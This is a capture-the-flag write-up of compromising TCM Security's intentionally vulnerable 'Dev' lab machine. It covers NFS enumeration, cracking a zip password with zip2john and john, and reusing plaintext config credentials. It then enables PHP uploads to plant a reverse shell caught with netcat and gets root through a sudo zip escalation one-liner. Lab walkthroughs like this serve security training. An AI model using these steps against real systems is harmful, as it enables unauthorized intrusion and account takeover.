TCMSecurity | Dev | Write-up

Hussain
9 min readFeb 15, 2022

Step by step walkthrough to own the vulnerable box DEV created by TCM Security.

I deployed the box on my home network using a level 2 Hypervisor (VirtualBox).

1. Scanning the network

First I ran the nmap scan on the lab network to discover which hosts are up.

sudo nmap -sn 192.168.100.1/24

As I already knew the IP address of the Target machine, it was easier to spot it.

Target IP = 192.168.100.219

2. Scanning the target IP

Since I have the IP address of the box, lets run the usual nmap scan to find the open ports and services running on them. Further adding -sC switch with the command will run default scripts of nmap to obtain further information about the box.

sudo nmap -A -sC -sV 192.168.100.219

Open Ports:

  • 22/tcp ssh v: OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  • 80/tcp http v: Apache httpd 2.4.38 ((Debian))
  • 111/tcp rpcbind v: 2–4 (RPC #100000)
  • 2049/tcp nfs_acl v: 3 (RPC #100227)
  • 8080/tcp http v: Apache httpd 2.4.38 ((Debian))

Operating System:

OS CPE: cpe:/o:linux:linux_kernel:4

OS details: Linux 4.15–5.6/Debian

3. NFS Enumeration

Port 111(rpcbind) holds the data of NFS server, therefore we have to run nfs nmap scripts on port 111 to further enumerate NFS protocol.

  $sudo nmap -p111 --script=nfs* 192.168.100.219

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-10 19:52 PKT
Nmap scan report for 192.168.100.219
Host is up (0.099s latency).

PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /srv/nfs
| access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 65534 65534 4096 2022-02-10T04:39:39 .
| ?????????? ? ? ? ? ..
| rw-r--r-- 0 0 1911 2021-06-02T09:23:32 save.zip
|_
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /srv/nfs 7205476.0 1859504.0 4960232.0 28% 16.0T 32000
| nfs-showmount:
|_ /srv/nfs 172.16.0.0/12 10.0.0.0/8 192.168.0.0/16
MAC Address: xx:xx:xx:xx:xx:xx (**-**** *********)

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

We see one available mount share folder and the contents in it. Lets confirm the mount share using another tool.

  $showmount -e 192.168.100.219
Export list for 192.168.100.219:
/srv/nfs 172.16.0.0/12,10.0.0.0/8,192.168.0.0/16

This above tool list the export shares.

4. Mounting the share

First I will make a directory on my local machine.

$mkdir /tmp/mount

Then mount the available export share of NFS on the local directory.

$sudo mount -t nfs 192.168.100.219:/srv/nfs /tmp/mount/ -o nolock

The export is mounted on local directory as it was originally present there. The share file’s contents can be found on /tmp/mount/ .

5. Unzipping and Cracking Hash

The file save.zip has root permission privileges. Login as root using su root on our own machine and unzip tool to extract the content of the zip file.

┌─[root@parrot]─[/tmp/mount]
└──╼ #unzip save.zip
Archive: save.zip
[save.zip] id_rsa password:
skipping: id_rsa incorrect password
skipping: todo.txt incorrect password

But it needs a password. I tried few default passwords but it doesn’t worked.

I will use a tool called zip2john to calculate the hash from the zip file to crack with dictionary attack using john tool.

#zip2john save.zip > hash

Now I’ll simply crack the hash using john tool and it’s default dictionary list.

#john hash

The cracked password from the hash is java101. We can use the password to simply extract the contents of the zip file.

The zip files contains two files, from which id_rsa caught my attention.

6. Try to SSH into the machine

I tried using id_rsa to login into the machine, but unfortunately I couldn’t, as I am not certain about the username. Tried to login using root and jp(as it was in todo.txt), still no success.

7. Discovering Directories

From the above Nmap results, there are two http ports open, so i decided to burst both of their directories.

  1. Port 80

It shows an ‘Installation Error’ page and no useful hyperlinks attached to get more information about the unsuccessfully deployed web app.

I then use the tool called gobuster to bruteforce the directories and files.

$gobuster dir -u http://192.168.100.219/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

2. Port 8080

It shows the default apache php info page.

Again using gobuster to bruteforce directories and files.

$gobuster dir -u http://192.168.100.219:8080/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

8. Navigating Directories

  1. Port 80

There are five directories discovered on the port 80 server, mentioned above. From there, I can only access ‘/src’, ‘/app’ and ‘/vendor’ directories. These directories contain configuration and other important files.

2. Port 8080

This web port has only one available directory which is the main page of the web app. I tried navigating and discover available binded hyperlinks but it requires admin privileges.

9. Logging as Admin

I looked around the directories of port 80 server, reading and getting a much as information about the web app, potential misconfiguration and sensitive data. Luckily, I found sqlite credentials in plain text in two config files.

  1. http://$IP/app/cache/config-cache.json
  2. http://192.168.100.219/app/config/config.yml

sqlite credentials: “bolt:I_love_java”

Now I can use these credentials to login on the properly deployed server on port 8080. Unfortunately, it didn’t worked. Then I used admin as the username and the password i found above. IT WORKED!!

webapp credentials: “admin:I_love_java”

10. Edit config and upload a reverse shell

After i have logged in, I can navigate easily around look into configuration files and categories. I can even edit the according to what I want to do. What interests me was the file named Config. I clicked on it and and then select edit on the bar to edit its content.

In this file I added php extension in ‘uploadFileTypes’ property and saved it.

uploadFileTypes: pdf,txt,php

After saving, I need to find the place to upload the php payload. Under Site, there is an Action category. Clicking it navigate me to the list of various function. I scroll down and found Upload function. Clicking the function redirects me to its source code. I then remove the '&action=source’ from the URL, which took me to the upload page.

As I was using ParrotOS, I already had the php webshell named php-reverse-shell.php in /usr/share/webshells/php/ directory.

You can easily find the payload here.

I edited the webshell with my host IP and the port number I want to listen the reverse connection at.

Once saved I uploaded the webshell on the web app.

11. Bursting Directories (AGAIN!)

Since I have uploaded the shell up on the server, I need to execute it. First I tried roaming around the page tinkering with the URLs and checking every possible directory. I even tried to look in the files on port 80 server. Yet, No Luck! I then again chose to bruteforce the hidden directories using gobuster.

$sudo gobuster dir -u http://192.168.100.219:8080/dev/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php

12. Getting a reverse shell

‘/files’ caught my attention. When I navigate to the directory I finally found my shell which I uploaded.

Now I can easily execute the shell by clicking. Before clicking, I set up my netcat listener with the port number I specified above(in my case 1234).

Once the netcat is listening on this port, I will run the shell file uploaded. This will give me a reverse shell of the machine the web server is hosted on.

$sudo nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.100.227 52646
Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
23:25:21 up 1:23, 1 user, load average: 0.00, 0.00, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 22:02 1:22m 0.05s 0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

I am able to access the machine with ‘www-data’ privileges. I will run python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ to make the shell more interactive.

13. Privilege escalation

This is the last step to gain access to root and compromising the entire machine and having control of everything.

To USER

I first navigate to the /home directory and find the name of the user which turns out to be jeanpaul, acronym of jp found in todo.txt file. I then used the id_rsa file to ssh into the machine as the user. Turns out the private key(id_rsa) needs the permission of high privilege user, such as root.

┌─[whoami@parrot]─[~/Desktop/task_machines/dev/mount_files]
└──╼ $ssh -i id_rsa jeanpaul@192.168.100.227
The authenticity of host '192.168.100.227 (192.168.100.227)' can't be established.
ECDSA key fingerprint is SHA256:/1NquaatnjtbmsVsYGW1xivpN3yn7KR8aDD9vsfthI0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.227' (ECDSA) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
jeanpaul@192.168.100.227's password:
Permission denied, please try again.

It requires the original password of the user. To solve this issue, I first logged in as root on my attacker machine and repeat the same step above. The id_rsa file was protected with a passphrase which turns out to be I_love_java, which we found as password of sqlite server.

┌─[whoami@parrot]─[~/Desktop/task_machines/dev/mount_files]
└──╼ $su
Password:
┌─[root@parrot]─[/home/whoami/Desktop/task_machines/dev/mount_files]
└──╼ #ssh -i id_rsa jeanpaul@192.168.100.227
The authenticity of host '192.168.100.227 (192.168.100.227)' can't be established.
ECDSA key fingerprint is SHA256:/1NquaatnjtbmsVsYGW1xivpN3yn7KR8aDD9vsfthI0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.227' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 2 05:25:21 2021 from 192.168.10.31
jeanpaul@dev:~$ exit
logout
Connection to 192.168.100.227 closed.

We have successfully escalated our privileges to the user.

To ROOT

Since I am the user of the machine, I can run sudo -l command to list my allowed commands and privileges.

jeanpaul@dev:~$ sudo -l
Matching Defaults entries for jeanpaul on dev:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jeanpaul may run the following commands on dev:
(root) NOPASSWD: /usr/bin/zip

This user have the permission to run the zip binary as root without the need of the password.

I can take help of GTFO link to use this misconfiguration in the system to my advantage. I know this user have the permission to run this zip binary as root using sudo.

I followed the steps and running the zip binary elevated my privileges to ROOT!

jeanpaul@dev:~$ TF=$(mktemp -u)
jeanpaul@dev:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
updating: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/flag.txt
Congratz on rooting this box !
#

I have the full access of the machine now!

--

--